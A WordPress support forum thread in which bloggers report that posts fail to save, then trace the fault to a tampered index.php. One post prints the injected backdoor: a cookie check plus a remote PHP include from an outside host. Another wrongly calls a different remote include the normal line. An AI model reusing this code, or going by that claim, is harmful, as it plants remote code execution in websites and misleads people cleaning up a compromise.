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  1. wadodger
    Member
    Posted 5 years ago #

    Any attempt to save/edit a post, save a post or publish a post fails.

    I enter text, hit save/edit and it immediately leaves the admin area and goes directly to the site. IE and Firefox. On all computers.

    This just started today after more than two years of posting.

  2. lachmi
    Member
    Posted 5 years ago #

    I am having the exact same problem and was just about to post it. I hope the WordPress support people can step in and help ASAP.

    Thanks!!

  3. saraking
    Member
    Posted 5 years ago #

    Same exact thing started happening to me today, after 2 years of posting. I tried different computers, different browsers, everything I could think of. I thought it was me, but it's looking like there's a trend...

  4. lockedroomguy
    Member
    Posted 5 years ago #

    Same thing, just started today after one year. No changes made to WP or server.

    I'm on a later version of WP than the original poster. (Not posting my version because I don't want to hijack this thread.)

  5. lachmi
    Member
    Posted 5 years ago #

    I was hoping to get an update by now on this issue. Any ideas as to where to look for help, or how to contact WordPress support?

  6. SJDankoSF
    Member
    Posted 5 years ago #

    Same thing happened to me yesterday after blogging for three years. I also sent a message to Automattic but no response yet.

  7. rlewis
    Member
    Posted 5 years ago #

    Same here. I'm in Indonesia. Tried different computers and different browsers. I have a novel coming out and need the Internet to most of my PR. I think there's some sort of left-wing/right-wing/centrist conspiracy against me.

    WORD PRESS: This sounds like a WP bug, please solve this problem!!!!

  8. rlewis
    Member
    Posted 5 years ago #

    Doh. "I need the Internet to do most of my PR." That's what I meant to write. Should always proofread, even posts.

  9. LeapinWeasel
    Member
    Posted 5 years ago #

    Someone in another thread said we needed to upgrade. I doth protest, as I needed to post immediately and the last upgrade attempt died, but I had no choice. I upgraded from X.1.3 to the latest, and it now works. Still not happy about the late night, but at least I have the new version now.

  10. choplin
    Member
    Posted 5 years ago #

    I have the same problem... exactly...

  11. gwenhill
    Member
    Posted 5 years ago #

    I too have the same problem...exactly...

  12. sidewalklyrics
    Member
    Posted 5 years ago #

    Hello People!

    I'm so glad that I'm not alone!
    I've been posting for two years and this is the first time/day that this has happened.
    According to this forum:
    http://ask.metafilter.com/122545/Wordpress-cant-save

    there's nothing we can do but upgrade.
    Have you heard anything else?

  13. piltdownman
    Member
    Posted 5 years ago #

    Same problem here. Running an older version, but it makes no sense to me that this would happen "community-wide" with a bunch of different people running different installs on different hosts -- all at the same time?

    Was there just some sort of security release for Apache or something on the server side that is causing this?

    Pilt

  14. wadodger
    Member
    Posted 5 years ago #

    Thanks to all who've chimed in. Unfortunately, we're still waiting for an answer.

    I'm hesitant to upgrade since there appears to be no guarantee that's going to solve the problem.

    Knock. Knock. WP Support? Lil' help, please.

  15. true8
    Member
    Posted 5 years ago #

    am using Pool 1.0.7 by Borja Fernandez, hosted by Yahoo! having this issue. Unable to post, publish or save.

  16. rlewis
    Member
    Posted 5 years ago #

    I don't have tech support here in Indonesia, I've downloaded the latest WP but what now? I'm not sure how to upgrade without the risk of losing everything. I have backed up with Bluehost, my server, but I have no idea where *those* files are. I'm a novelist, not a IT expert.

    WP, hello? Can we get an answer here before I risk a whole lot of past time and effort and money? I appreciate the platform and all WP can do but surely this has caught your tech attention by now?

  17. piltdownman
    Member
    Posted 5 years ago #

    The joys of free webware.

    I contacted my host to see if they had changed/upgraded anything and they said no. Now, it's very likely that they wouldn't admit to it anyway...

    And quite honestly, the "upgrade" advice, while certainly not a bad idea, doesn't tell us why this problem is occurring, which is something I'd really like to know!

    I don't spend much time here, as I'm only trying to track down this problem for a friend who has a WP site, but, in your experience, does WP ever reply or deal with these issues, or do they just leave us to fend for ourselves?

  18. sidewalklyrics
    Member
    Posted 5 years ago #

    As far as I know, they only respond if you have a wordpress.com blog. I asked a few friends who do, and they said they get responses.

    But we're just left to fend for ourselves :(

    Has anyone gotten an email response from the wordpress people?

  19. lockedroomguy
    Member
    Posted 5 years ago #

    I was one of those who had this exact problem (I posted above), but I have now solved this for myself. I used a brute force method that may not be suitable for anyone else.

    I'll describe the situation and my version and you can decide if it applies to you. There are a lot of "can't save" issues here on the forums so I wouldn't assume that my solution will work for you, plus for many of you it may not be practical.

    Symptoms: After over a year of blogging I had the same problem described in the original post: When I enter *anything* in a new post, and try to save, publish, or save and continue editing, I was redirected to the blog main page.

    This happened with any user who had the right to save.

    I also found that if I tried to edit an existing user in any way that I had the same redirect immediately upon clicking "Update User." Adding a user did NOT result in the problem.

    I'm on version 2.2.1, but I believe that if you are having the exact same problem that I had, the version doesn't matter. (I could be wrong about that.)

    I hadn't changed ANYTHING, but I realize that something must have changed somehow, so I started looking at the files on the server, and saw that the date of my index.php file had been updated. It was now marked as having changed on the same day that I started having the problem. All the other files still had a date from back in 2007, when I did the initial install.

    In index.php I found that the license text had been changed by someone.
    There's a line that I think is supposed to say:

    @include('http://wordpress.net.in/license.txt');

    but instead it said:

    @include('http://seotoos.com/license.txt');

    That looks like somebody hacking my file and changing the license to some site related to Search Engine Optimization (SEO) tools.

    So I changed it back, but that didn't help. It might not even be relevant to the problem.

    Bur since I now knew that at least ONE file had been changed without my knowledge, I realized that ANY file could have been changed.

    So I called my hosting provider and asked them to restore my entire WordPress blog folder and all subfolders from the backup they had of the day before the problem happened.

    And that solved the problem.

    So I don't actually know what the problem was, and I don't know if any of you have the same problem.

    But IF this is a hacking issue, it would explain why it suddenly stopped working for several people on several different versions of WordPress.

    The solution I used worked for me because I hadn't recently made any changes to theme or settings or options in WordPress, and so restoring from a backup that was a couple of days old didn't change anything on my blog. And in my setup, the database that actually holds the blog entries is on a different server altogether and wasn't affected by the restore of the WordPress folder and sub-folders, so I didn't lose any blogs.

    Just in case, I took a database backup and copied all the WordPress files that were going to be restored before my provider did the restore.

    I would still love to hear any theories about WHICH file or files might have been changed to cause the problem.

    My hosting provider is Pair Networks. I'd also be interested to hear if other Pair subscribers were affected.

    Good Luck!

  20. horoskopy
    Member
    Posted 5 years ago #

    Sure, same was here, index.php was changed (not by myself - but link was leading nowhere) and returning it back was without results - but I take a look at probably all files at directory and there is no change ! they have old date so I don't know how restoring from backup can help.

  21. landykos
    Member
    Posted 5 years ago #

    My index.php page has the same thing.

    <?php if(md5($_COOKIE['12942fc392b445f9'])=="695d55c75600f74e94cdded60b2711d0"){  exit; } ?><?php
    /* Short and sweet */
    if (isset($_GET['license'])) {
    	@include('http://seotoos.com/license.txt');
    } else {
    	define('WP_USE_THEMES', true);
    	if (isset($_GET['license'])) {
    	@include('http://seotoos.com/license.txt');
    } else {
    	require('./wp-blog-header.php');
    }
    }
    ?>

    Going to try all the things you said and see if that works. I will update after I'm done.

    Thanks,
    LK

  22. lockedroomguy
    Member
    Posted 5 years ago #

    Boroskopy, Landykos, are either of you hosted by Pair Networks?

    Boroskopy--I couldn't find any other files that had changed either, but I didn't check every single file. After a while I got bored and just had the restore done, since there was no reason not to try it.

    I agree I did not have a direct and proven logical reason to try the restore; it just seemed worth doing--and for me, easy, with no risk.

  23. landykos
    Member
    Posted 5 years ago #

    I'm on web.com. I looked and it doesn't look like any other files have been changed. But who knows there are so many I could be missing one. I updated the index.php and that still didn't work. I'm going to call my hosting company and see if they have daily backups too.

    Thanks,
    LK

  24. horoskopy
    Member
    Posted 5 years ago #

    But still will be good to find a reason why it is and classic solution, is it hiding somewhere in mysql ?

  25. landykos
    Member
    Posted 5 years ago #

    I agree 100%. Not sure on the mysql though. I think it has more to do with the files but I could be totally wrong.

  26. lockedroomguy
    Member
    Posted 5 years ago #

    I'm sure my problem had nothing to do with MySQL, since the restore of the WordPress files and folders did not include the MySQL database. I only restored the WordPress folders and files: the php files, essentially.

  27. horoskopy
    Member
    Posted 5 years ago #

    I uploaded 10 days old backup and start taking a look at all files, if I'll find something interesting I let you know.

  28. choplin
    Member
    Posted 5 years ago #

    I have the same change in my index.php
    My hosting is NOT Pair Networks... I'll try to contact my hosting and see if I have backups.

  29. sidewalklyrics
    Member
    Posted 5 years ago #

    It's funny that you say your file had been changed. Because yesterday I also noticed that the comment box was missing on my blog. So I went into the options and saw that sure enough the "disable comment box" (or something like that) had been clicked.

    But I'm 100% sure I hadn't done it.

    I also had some problems with my password the other day.

    So I'm thinking is this some sort of hacker? I'm with bluehost, so I guess I need to contact them ....

  30. saraking
    Member
    Posted 5 years ago #

    I just did as lockedroomguy did and called the host and requested a 10-day-old backup restore. Now it works. So yeah, somebody definitely went in there and changed something.

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